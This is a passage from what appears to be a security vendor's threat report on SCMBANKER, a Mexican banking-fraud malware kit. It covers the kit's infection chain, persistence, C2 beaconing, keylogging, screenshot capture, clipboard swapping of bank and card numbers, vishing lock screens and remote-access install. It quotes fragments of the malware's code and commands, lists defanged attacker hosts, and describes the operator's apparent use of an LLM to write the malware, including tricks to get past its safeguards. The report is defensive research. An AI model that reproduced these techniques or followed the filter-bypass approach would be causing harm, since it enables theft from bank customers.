net session &gt;nul 2&gt;&amp;1
if %errorlevel%==0 goto admin
echo Windows: Se requieren permisos de administrador para actualizar su sistema...
powershell -Command &quot;Start-Process '%~f0' -Verb RunAs&quot;
timeout /t 20 &gt;nul
goto check
</code></pre>
<h3>Cursor trap</h3>
<p>Once elevated, an inline PowerShell P/Invoke call to <code>user32.dll!ClipCursor</code> confines the mouse to a single 1x1 pixel rectangle at the screen center, locking any mouse movement. This is paired with the fake Windows Update screen to encourage the victim to stay idle, giving time for the malware to download the full toolset in the background without interruption.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image10.png" alt="PowerShell ClipCursor code SCMBANKER uses to lock a victim's mouse during infection" title="PowerShell ClipCursor code SCMBANKER uses to lock a victim's mouse during infection" /></p>
<h3>Downloading the SCMBANKER toolkit via bitsadmin</h3>
<p>All malicious scripts, files, and binaries are pulled individually via <code>bitsadmin</code> from <code>http://68.211.161[.]46/files/</code> to <code>C:\Users\Public\</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image8.png" alt="bitsadmin transfer jobs to download the SCMBANKER toolkit modules" title="bitsadmin transfer jobs to download the SCMBANKER toolkit modules" /></p>
<h3>SCMBANKER's persistence: registry Run key and startup folder</h3>
<p>Two persistence mechanisms launched by <code>C:\Users\Public\run.vbs</code> on logon, plus a one-shot infection marker:</p>
<ul>
<li><strong>Run key</strong>: <code>HKCU\...\Run</code>, value <code>&quot;run&quot;</code>, runs hidden PowerShell launching <code>run.vbs</code>.</li>
<li><strong>Startup folder</strong>: <code>run.vbs</code> dropped to three path variants (<code>%APPDATA%</code>, <code>%USERPROFILE%\AppData\Roaming</code>, and the legacy XP <code>%USERPROFILE%\Start Menu</code>).</li>
<li><strong>RunOnce timestamp</strong>: value <code>&quot;id&quot;</code> writes <code>%date% %time%</code> to <code>C:\Users\Public\id.txt</code> once on next logon, then self-deletes.</li>
</ul>
<h3>Forcing a reboot to trigger persistence</h3>
<p>The script sends an <code>F11</code> keypress to exit fullscreen, followed by a <code>Ctrl+W</code> keypress sequence to close the fake Windows Update tab. However, this approach only works in a standard fullscreen browser window, not in kiosk mode. It then forces a reboot with the <code>shutdown /r /t 02</code> command. Upon restart, the previous persistence mechanism via the Registry Run key triggers execution of the VBScript file (<code>run.vbs</code>).</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image19.png" alt="Batch script commands SCMBANKER uses to close its decoy tab and force a reboot" title="Batch script commands SCMBANKER uses to close its decoy tab and force a reboot" /></p>
<h2>The SCMBANKER toolkit</h2>
<h3>run.vbs: SCMBANKER's master launcher</h3>
<p>The VBScript (<code>run.vbs</code>) is the master launcher. It uses <code>WScript.Shell.Run</code> with a hidden window style and <code>Invoke-Expression</code> to start the toolkit's modules in parallel:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image9.png" alt="SCMBANKER's run.vbs master launcher starting each banking fraud toolkit module" title="SCMBANKER's run.vbs master launcher starting each banking fraud toolkit module" /></p>
<p><code>run.vbs</code> launches the following modules:</p>
<table>
<thead>
<tr>
<th>Script</th>
<th>Role</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>rotor2.ps1</code></td>
<td>Long-running process-mutation rotator for <code>mensaje1.ps1</code> (vishing module)</td>
</tr>
<tr>
<td><code>ini.ps1</code></td>
<td>Delayed launcher for <code>jujuzkt.ps1</code> (banking activity monitor)</td>
</tr>
<tr>
<td><code>remo.ps1</code></td>
<td>IP-gated launcher for <code>jujuzkt2.ps1</code> (phishing redirect module)</td>
</tr>
<tr>
<td><code>edifhjwe.ps1</code></td>
<td>Toolkit updater</td>
</tr>
<tr>
<td><code>cliente.ps1</code></td>
<td>C2 beacon / implant control channel</td>
</tr>
<tr>
<td><code>avs.ps1</code></td>
<td>Remote Utilities RAT installer downloader</td>
</tr>
<tr>
<td><code>clip.ps1</code> / <code>clip2.ps1</code></td>
<td><a href="https://en.wikipedia.org/wiki/CLABE">CLABE</a> and card-number clipboard hijackers</td>
</tr>
<tr>
<td><code>correr.ps1</code></td>
<td>Arbitrary PowerShell executor</td>
</tr>
<tr>
<td><code>cursor2.exe</code></td>
<td>Invisible-cursor utility (compiled AutoIt). Replaces every system cursor type with an invisible cursor at <code>C:\Users\Public\invi.cur</code></td>
</tr>
</tbody>
</table>
<p>Pivoting in VirusTotal, we discovered earlier versions of the toolkit components, suggesting the tooling has been in use since at least October 2025 and has been iterated on for several months.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image1.png" alt="VirusTotal scan showing 8 of 63 vendors flagging an early version of SCMBANKER's run.vbs launcher script" title="VirusTotal scan showing 8 of 63 vendors flagging an early version of SCMBANKER's run.vbs launcher script" /></p>
<h3>C2 beacon and victim management</h3>
<p>Every 30 seconds, <code>cliente.ps1</code> collects a machine profile and performs an HTTP POST request to <code>https://negratomasa2026[.]online/dashboard2/recData.php</code>:</p>
<p>The following table represents this request data and its associated fields:</p>
<table>
<thead>
<tr>
<th>Field</th>
<th>Source</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>machine_name</code></td>
<td><code>$env:COMPUTERNAME</code></td>
<td>Victim identification</td>
</tr>
<tr>
<td><code>client_id</code></td>
<td><code>GUID</code> in <code>client_id.txt</code></td>
<td>Unique implant ID (persists across reboots)</td>
</tr>
<tr>
<td><code>ip_local</code></td>
<td><code>Get-NetIPAddress</code></td>
<td>Internal network recon</td>
</tr>
<tr>
<td><code>ip_public</code></td>
<td><code>api.ipify.org</code></td>
<td>External IP for geolocation and targeting</td>
</tr>
<tr>
<td><code>comentario</code></td>
<td><code>comentario.txt</code></td>
<td>Operator's notes/label for this victim</td>
</tr>
<tr>
<td><code>idInternet</code></td>
<td><code>id.txt</code></td>
<td>Infection timestamp</td>
</tr>
<tr>
<td><code>remoto</code></td>
<td><code>agent.txt</code></td>
<td>RAT installation status (default: <code>SIN REMOTO AUN</code>)</td>
</tr>
<tr>
<td><code>comando</code></td>
<td><code>comando.txt</code></td>
<td>Last command received</td>
</tr>
<tr>
<td><code>optUpdate</code></td>
<td>hardcoded “update”</td>
<td>Meant to flag whether the remote tool is installed, but it's overridden to always say <code>&quot;update&quot;</code> (likely debugging leftover)</td>
</tr>
<tr>
<td><code>timestamp</code></td>
<td>Unix epoch</td>
<td>Beacon time</td>
</tr>
</tbody>
</table>
<p>The C2 response contains two operator-controlled fields.</p>
<p>The data from the <code>comentario</code> field is saved to <code>comentario.txt</code> and stores the operator’s label or notes for the victim.</p>
<p>The data from the <code>comando</code> field is saved to <code>comando.txt</code>. Other modules poll that file for operator instructions:</p>
<ul>
<li><code>avs.ps1</code> handles MSI URLs.</li>
<li><code>edifhjwe.ps1</code> handles ZIP update packages.</li>
<li><code>correr.ps1</code> handles PowerShell-prefixed execution requests.</li>
</ul>
<p>The following image shows the server response parsing logic.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image13.png" alt="PowerShell code showing SCMBANKER's self-update module downloading a new toolkit ZIP" title="PowerShell code showing SCMBANKER's self-update module downloading a new toolkit ZIP" /></p>
<h3>Banking activity monitor</h3>
<p>The primary banking activity monitor is a PowerShell script (<code>jujuzkt.ps1</code>), but it also has optional active branches:</p>
<ul>
<li>URL injection when a configured target has a redirect URL, and</li>
<li>a commented-out keylogger rotator path via <code>rotor.ps1</code>.</li>
</ul>
<p>After a short startup delay, invoked by <code>ini.ps1</code>, the banking monitor script refreshes three configuration files every five minutes.</p>
<table>
<thead>
<tr>
<th>Remote URL</th>
<th>Local File</th>
<th>Content</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>https://negratomasa2026[.]online/a/teleavisos.txt</code></td>
<td><code>config1.txt</code></td>
<td>Arbitrary PowerShell executed via <code>Invoke-Expression</code></td>
</tr>
<tr>
<td><code>https://negratomasa2026[.]online/b/listadebancos.txt</code></td>
<td><code>config2.txt</code></td>
<td>Window title keywords (bank names + optional redirection target, <code>*</code>-delimited)</td>
</tr>
<tr>
<td><code>https://negratomasa2026[.]online/b/keysnegativas.txt</code></td>
<td><code>config_negative.txt</code></td>
<td>Negative keywords to filter out false matches when scanning opened windows</td>
</tr>
</tbody>
</table>
<p>Once running, the banking activity monitor checks all visible window titles every second. A match (full list <a href="https://gist.github.com/jiayuchann/cfbeb1b194b2e186fc599eb51d4719cc">here</a>) against any listed bank, fintech, payment processor, crypto exchange, brokerage, SAT, or telecom keywords causes the implant to POST an alert to <code>https://negratomasa2026[.]online/dashboard2/avisos2.php</code> in the following format:</p>
<pre><code>mensaje = &quot;&lt;window title&gt;
Detected C0incidence: '&lt;keyword&gt;'
Version: V.1.0.1
10:03 p. m. 08/12/2025
Nombre de PC: &lt;hostname&gt;
Cliente desde: &lt;id&gt;
Client ID: &lt;clientId&gt;
IP: &lt;public_ip&gt;
Navegador: &lt;process_name&gt;
&lt;current timestamp&gt;&quot;
clientId = &lt;clientId&gt;
</code></pre>
<p>A banking match also starts the screenshot workflow through the toolkit’s rotator pattern. The <code>rotor</code> scripts act as short-lived wrappers: they copy a target script into <code>%TEMP%</code> under Windows-like process names, execute the copy, and repeat for a set period. In this case, <code>rotor1.ps1</code> repeatedly spawns <code>screen2.ps1</code> every 7 seconds for 5 minutes, producing about 42 screenshots per trigger. Each <code>screen2.ps1</code> run captures the full virtual desktop, compresses the image under 10 MB, and uploads it to <code>https://negratomasa2026[.]online/dashboard2/imagenes.php</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image23.png" alt="PowerShell code from SCMBANKER's rotor and screen modules compressing and uploading screenshots" title="PowerShell code from SCMBANKER's rotor and screen modules compressing and uploading screenshots" /></p>
<h3>SCMBANKER's keylogging module</h3>
<p><code>jujuzkt.ps1</code> also contains a commented-out path to launch <code>rotor.ps1</code>, a short-lived rotator for <code>key.ps1</code>. While the banking monitor path launches <code>rotor1.ps1</code> for screenshots, the presence of <code>rotor.ps1</code> and <code>key.ps1</code> shows an additional keylogging capability in the toolkit. <code>rotor.ps1</code> applies the same rotator pattern to <code>C:\Users\Public\key.ps1</code>.</p>
<p>This PowerShell script (<code>key.ps1</code>) fetches Telegram bot credentials from <code>https://negratomasa2026[.]online/a/telekeylogger.txt</code> via <code>Invoke-Expression</code>, but never references them after assignment. The only exfiltration path in the script is an HTTP POST to <code>https://negratomasa2026[.]online/dashboard2/logs.php</code> with the client ID and hostname. The Telegram configuration may be leftover code from an earlier version.</p>
<h3>The vishing engine: turning infections into live phone scams</h3>
<p>The vishing engine is what turns a commodity-looking PowerShell bundle into an operator-assisted fraud workflow. <code>rotor2.ps1</code> applies the rotator pattern to <code>mensaje1.ps1</code>, keeping the dispatcher alive under changing Windows-like filenames.</p>
<p>When <code>mensaje1.ps1</code> is launched, every 10 seconds it fetches <code>https://negratomasa2026[.]online/b/&lt;redacted&gt;.txt</code>, where each line has the format <code>&lt;IP&gt;*&lt;URL&gt;</code>, mapping a victim public IP address to a vishing page URL. If the victim’s public IP appears in that list, the dispatcher launches a vishing lock-screen module and records the child process ID so it can later release the victim when the IP is removed.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image12.png" alt="SCMBANKER configuration mapping victim IP addresses to vishing lock-screen pages" title="SCMBANKER configuration mapping victim IP addresses to vishing lock-screen pages" /></p>
<p>The operator can choose between two overlay behaviors.</p>
<ul>
<li><code>mensaje.ps1</code> creates a borderless, topmost <a href="https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.webbrowser?view=windowsdesktop-10.0">WebBrowser</a> window, confines the mouse to the form, and uses a <code>200</code> ms timer to bring the overlay back to the foreground if the victim clicks away.</li>
<li><code>mensajeoff.ps1</code> uses a more normal-looking window that cannot be closed and automatically undoes every attempt to dismiss, move, resize, or minimize it. Triggered when the URL ends with <code>?off</code>.</li>
</ul>
<p>The content of those pages completes the social engineering loop: the victim sees a fake bank warning and is prompted to call an operator. One observed page, <code>http://68.211.161[.]46/driver.html?off</code>, links to a Remote Utilities payload, connecting the vishing prompt directly to hands-on access.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image14.png" alt="Fake bank security warning pages SCMBANKER shows victims during vishing session" title="Fake bank security warning pages SCMBANKER shows victims during vishing session" /></p>
<h3>Active browser redirects to phishing pages</h3>
<p>Unlike the banking monitor, the redirect module only engages victims the operator has explicitly queued for phishing. <code>remo.ps1</code> polls <code>https://negratomasa2026[.]online/b/&lt;redacted&gt;.txt</code> every 5 minutes, and only victims whose public IP appears in that file launch the second monitor, <code>jujuzkt2.ps1</code>.</p>
<p><code>jujuzkt2.ps1</code> watches window titles against <code>https://negratomasa2026[.]online/b/urlsscams.txt</code> (archived list <a href="https://gist.github.com/jiayuchann/5851f64467bac4c456dab67e2fb55622">here</a>) and, when a configured URL exists, places the phishing URL on the clipboard, focuses the browser, sends keypresses (<code>Ctrl+L</code>, <code>Ctrl+V</code>, and <code>Enter</code>), then pauses before continuing.</p>
<p>Many <code>urlsscams.txt</code> entries currently end with an empty URL, which suggests target coverage was planned ahead of the completed vishing pages.</p>
<p>An observed redirect destination, <code>https://bancaporinternetbbmx[.]online</code>, also includes a page-load Telegram notification script. When the phishing page opens, the script forces IPv4 resolution, collects browser and device details, and sends the profile to a Telegram chat. This gives the operator immediate confirmation that a redirected victim has reached the lure and has enough context to prioritize live follow-up.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image21.png" alt="JavaScript code sending victim device and location data to Telegram on a SCMBANKER phishing page" title="JavaScript code sending victim device and location data to Telegram on a SCMBANKER phishing page" /></p>
<h3>Clipboard and transfer manipulation</h3>
<p>The clipboard modules focus on payment redirection rather than credential theft.</p>
<ul>
<li><code>clip.ps1</code> checks the clipboard every 300 milliseconds for 18-digit CLABE account numbers, then matches the first three digits against the Mexican bank prefix and can replace the destination account with an attacker-controlled CLABE from <code>https://negratomasa2026[.]online/b/clabes.txt</code>.</li>
<li><code>clip2.ps1</code> applies the same process to 16-digit card numbers, matches on the six-digit bank identification numbers, and replaces them with values from <code>https://negratomasa2026[.]online/b/tarjetas.txt</code>.</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image15.png" alt="SCMBANKER's clip.ps1 and clip2.ps1 scripts hijacking CLABE and card numbers" title="SCMBANKER's clip.ps1 and clip2.ps1 scripts hijacking CLABE and card numbers" /></p>
<h3>How does the operator get hands-on access to a victim's machine?</h3>
<p>SCMBANKER gives the operator direct, hands-on-keyboard control by installing a remote-access tool. Rather than build one, REF6045 repurposes <a href="https://www.remoteutilities.com/">Remote Utilities Host</a>, a legitimate commercial remote-administration product, and configures it silently to call back.</p>
<p>Deployment is operator-triggered and runs through three scripts. The first script (<code>avs.ps1</code>) polls <code>comando.txt</code> every 120 seconds, and when the operator pushes an <code>.msi</code> URL it downloads the installer to <code>C:\Users\Public\</code> and launches <code>instaler.ps1</code>. This second script (<code>instaler.ps1</code>) exits if the <code>99.kut</code> guard file already exists so the RAT installs only once, relaunches itself with <code>-Verb RunAs</code> until it gets admin, then installs silently with <code>msiexec /i &quot;hosts.msi&quot; /quiet /norestart</code>. On success, it writes <code>REMOTO INSTALADO</code> to <code>agent.txt</code>, drops the <code>99.kut</code> guard, and runs <code>attrib +h +s &quot;C:\Users\Public&quot;</code> to hide the implant directory.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image6.png" alt="Extracted file list from SCMBANKER's Remote Utilities Host remote access installer" title="Extracted file list from SCMBANKER's Remote Utilities Host remote access installer" /></p>
<p>The third script (<code>remoto.ps1</code>) waits 120 seconds, then imports a registry blob into <code>HKLM\SOFTWARE\Usoris\Remote Utilities Host\Host\Parameters</code> that sets callback auto-connect to the operator (default port 5650, Spanish UI, notifications suppressed, a hardcoded auth key, and SID <code>46053.045416157</code>).</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image7.png" alt="Decoded registry configuration SCMBANKER uses to auto-connect its remote access tool" title="Decoded registry configuration SCMBANKER uses to auto-connect its remote access tool" /></p>
<p>It also deletes the <code>UninstallString</code> at <code>HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{F6688BD5-2126-4F4F-A484-1D05781479B9}</code> so the victim cannot remove it through the traditional Windows menu: Add/Remove Programs.</p>
<p>The result is a persistent, attacker-configured remote desktop that calls home on its own, runs without tray notifications, and resists removal. It is the same payload as the <code>driver.html?off</code> vishing page points victims to, so the social-engineering prompt and the silent install converge on the same hands-on access.</p>
<h3>SCMBANKER's self-update mechanism</h3>
<p>SCMBANKER includes a self-update mechanism that lets the operator replace the implant from the C2 without rebuilding persistence. <code>edifhjwe.ps1</code> polls <code>C:\Users\Public\comando.txt</code> (C2 command written by <code>cliente.ps1</code>) every 40 seconds and treats a ZIP URL as an update instruction.</p>
<p>When triggered, <code>edifhjwe.ps1</code> downloads the ZIP to <code>%TEMP%\Agent_temp.zip</code>, wipes most of <code>C:\Users\Public\</code>, and extracts the new toolkit into place. It preserves a small set of state files, including <code>comando.txt</code>, <code>comentario.txt</code>, <code>id.txt</code>, <code>agent.txt</code>, and <code>99.kut</code>, so the updated bot keeps its operator notes, infection timestamp, remote-access status, and Remote Utilities install marker.</p>
<p>After extraction, the updater writes <code>BOT ACTUALIZADO</code> to <code>comando.txt</code> as a completion flag, kills running PowerShell module processes by script name, and relaunches <code>run.vbs</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image4.png" alt="PowerShell code showing SCMBANKER's self-update module downloading a new toolkit ZIP" title="PowerShell code showing SCMBANKER's self-update module downloading a new toolkit ZIP" /></p>
<h2>Is the REF6045 malware written by AI?</h2>
<p>The scripts show strong signs of AI assistance, most likely by prompting a large language model in Spanish and then applying manual obfuscation afterward. The code has a split personality, with clean, descriptive function names and heavy explanatory comments sitting next to hand-shortened variables and leftover generation artifacts. The placement of instruction-like comments directly above the code they describe suggests the authors have prompted an inline coding assistant such as Copilot or Cursor.</p>
<p>The clearest artifact is a comment sitting directly in the mutation rotator and the keylogger (<code>rotor2.ps1</code> and <code>key.ps1</code>), which are saturated with aggressive profanity in their comments, while the rest of the kit uses a neutral tone:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image11.png" alt="AI-generated comments in SCMBANKER's rotor2.ps1 script revealing LLM-written malware" title="AI-generated comments in SCMBANKER's rotor2.ps1 script revealing LLM-written malware" /></p>
<p><code>key.ps1</code> uses self-documenting obfuscation. It Base64-encodes its Win32 API names to hide them from scanners, then immediately annotates what each one decodes to:</p>
<pre><code>$u32b64  = 'dXNlcjMyLmRsbA=='          # user32.dll
$GASb64  = 'R2V0QXN5bmNLZXlTdGF0ZQ=='  # GetAsyncKeyState
$GKLb64  = 'R2V0S2V5Ym9hcmRMYXlvdXQ='  # GetKeyboardLayout
$TUExb64 = 'VG9Vbmljb2RlRXg='          # ToUnicodeEx
</code></pre>
<p>Every script opens with heavy banner-comment dividers (<code>INTERVALOS DE TIEMPO</code>, <code>DICCIONARIOS Y VARIABLES</code>, <code>FUNCIONES</code>, <code>INICIO</code>, <code>LOOP PRINCIPAL</code>). This document-like scaffolding is a hallmark of LLM-generated PowerShell and is rarely seen in scripts by experienced developers.</p>
<p>Taken together, the evidence points to an operator who prompted a model in Spanish, used profanity and phrasing tricks either out of frustration or to bypass safety filters for the more sensitive components, and pasted the outputs with little review before applying a light manual obfuscation pass. The kit was not generated autonomously, but the model did the heavy lifting on essentially every functional script.</p>
<p>As language models become increasingly capable, defenders should expect AI-assisted malware development to become more common, particularly among operators who previously lacked the expertise to implement these capabilities themselves.</p>
<h2>REF6045's infrastructure and OPSEC failures</h2>
<p>The depth of this analysis was made possible by poor server hygiene across the operation. The file server at <code>http://68.211.161[.]46/files/</code> had directory listing enabled, exposing the PowerShell agent scripts for direct download. The same directory also briefly hosted <code>zkt.zip</code>, which yielded the entire operation in a single archive.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image22.png" alt="Open directory listing exposing SCMBANKER's PowerShell toolkit files for download" title="Open directory listing exposing SCMBANKER's PowerShell toolkit files for download" /></p>
<p>The C2 also exposed an unauthenticated file editor at <code>/b/editor.php</code>, allowing anyone to directly modify the operation's live targeting configuration files without credentials. The same surface that lets the operator manage victims also lets a visitor read and write the configuration files.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image5.png" alt="Unauthenticated REF6045 file editor exposing live banking fraud targeting configuration" title="Unauthenticated REF6045 file editor exposing live banking fraud targeting configuration" /></p>
<p>The related ClickFix hosts listed earlier reused the same <code>validation.txt</code> delivery pattern while hosting overlapping PowerShell toolsets under <code>/files</code>. Those hosted scripts pointed to separate C2 panels, but the panels shared the same SCM-branded login template, with the latest we’ve seen being SCM v2.0, hence the name SCMBANKER.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image2.png" alt="Three REF6045 command-and-control panels sharing the same SCM banking fraud login template" title="Three REF6045 command-and-control panels sharing the same SCM banking fraud login template" /></p>
<p>Taken together, the open directories, exposed editor, repeated lure text, overlapping file-server contents, and shared SCM panel branding suggest kit reuse or multiple deployments by the same operator set. We treat the related hosts as infrastructure variants around the same tooling rather than as separate malware families.</p>
<h2>Why REF6045 matters despite its crude execution</h2>
<p>REF6045 is not a complex operation. The tooling is crude and held together with copy-paste batch files, duplicated bitsadmin jobs, sloppy persistence, self-defeating obfuscation that ships its own key, and a server left wide open with directory listings, a full web-root archive, and an unauthenticated editing panel.</p>
<p>That lack of craftsmanship is partly explained by how the kit was developed. The scripts are littered with numerous AI-generated artifacts, suggesting the operator relied heavily on a large language model to implement much of the functionality. Rather than writing components such as the keylogger or a clipboard hijacker from scratch, the operator prompted a model, pasted the output, and applied a light manual obfuscation pass on top.</p>
<p>Victims are kept as a passive feed while the operator watches a live dashboard and engages only the targets worth the effort, switching on browser redirects, vishing lockdowns, clipboard swaps, or a full RAT by IP, on demand. Crude as it is, SCMBANKER already has real victims. The live victim counter and the labeled, tagged machines on the operator's own panels show that individual people are being actively targeted.</p>
<h2>REF6045 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Stealth</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0040/">Impact</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/002/">Phishing: Spearphishing Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/001/">User Execution: Malicious Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1197/">BITS Jobs</a></li>
<li><a href="https://attack.mitre.org/techniques/T1547/001/">Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/001/">Hide Artifacts: Hidden Files and Directories</a></li>
<li><a href="https://attack.mitre.org/techniques/T1112/">Modify Registry</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1016/">System Network Configuration Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1010/">Application Window Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1115/">Clipboard Data</a></li>
<li><a href="https://attack.mitre.org/techniques/T1219/">Remote Access Software</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols</a></li>
<li><a href="https://attack.mitre.org/techniques/T1102/">Web Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1529/">System Shutdown/Reboot</a></li>
<li><a href="https://attack.mitre.org/techniques/T1657/">Financial Theft</a></li>
</ul>
<h2>How to detect and prevent REF6045</h2>
<h3>Prevention rules for detecting SCMBANKER</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_powershell_execution_via_windows_scripts.toml">Suspicious PowerShell Execution via Windows Scripts</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_dns_query_to_suspicious_top_level_domain.toml">DNS Query to Suspicious Top Level Domain</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_bitsadmin_activity.toml">Suspicious Bitsadmin Activity</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_windows_script_interpreter_child_process.toml">Suspicious Windows Script Interpreter Child Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_execution_from_unusual_directory.toml">Execution from Unusual Directory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/discovery_external_ip_address_discovery_via_a_trusted_program.toml">External IP Address Discovery via a Trusted Program</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/persistence_suspicious_string_value_written_to_registry_run_key.toml">Suspicious String Value Written to Registry Run Key</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_command_execution_via_windows_run.toml">Suspicious Command Execution via Windows Run</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_curl_http_fetch_piped_to_cmd_or_node_via_command_shell.toml">Curl HTTP Fetch Piped to Cmd or Node via Command Shell</a></li>
</ul>
<h2>Observables</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>68.211.161[.]46</code></td>
<td align="left">ipv4</td>
<td align="left"></td>
<td align="left">ClickFix / file host</td>
</tr>
<tr>
<td align="left"><code>http://68.211.161[.]46/</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">ClickFix web root</td>
</tr>
<tr>
<td align="left"><code>http://68.211.161[.]46/files/</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">Open directory / toolkit staging</td>
</tr>
<tr>
<td align="left"><code>http://68.211.161[.]46/validation.txt</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">First-stage batch payload download</td>
</tr>
<tr>
<td align="left"><code>http://68.211.161[.]46/driver.html?off</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">Vishing page linking to Remote Utilities payload</td>
</tr>
<tr>
<td align="left"><code>216.250.112[.]100</code></td>
<td align="left">ipv4</td>
<td align="left"></td>
<td align="left">ClickFix / file host</td>
</tr>
<tr>
<td align="left"><code>http://216.250.112[.]100/validation.txt</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">First-stage batch payload download (osogransd variant)</td>
</tr>
<tr>
<td align="left"><code>185.242.246[.]169</code></td>
<td align="left">ipv4</td>
<td align="left"></td>
<td align="left">REF6045 C2</td>
</tr>
<tr>
<td align="left"><code>https://185.242.246[.]169/b/editor.php</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">C2 exposed config editor</td>
</tr>
<tr>
<td align="left"><code>http://185.242.246[.]169/dashboard2/recData.php</code></td>
<td align="left">url</td>
<td align="left"></td>
<td align="left">C2 beacon POST endpoint (osogransd variant)</td>
</tr>
<tr>
<td align="left"><code>ratonvaquero2026[.]online</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">ClickFix / file host</td>
</tr>
<tr>
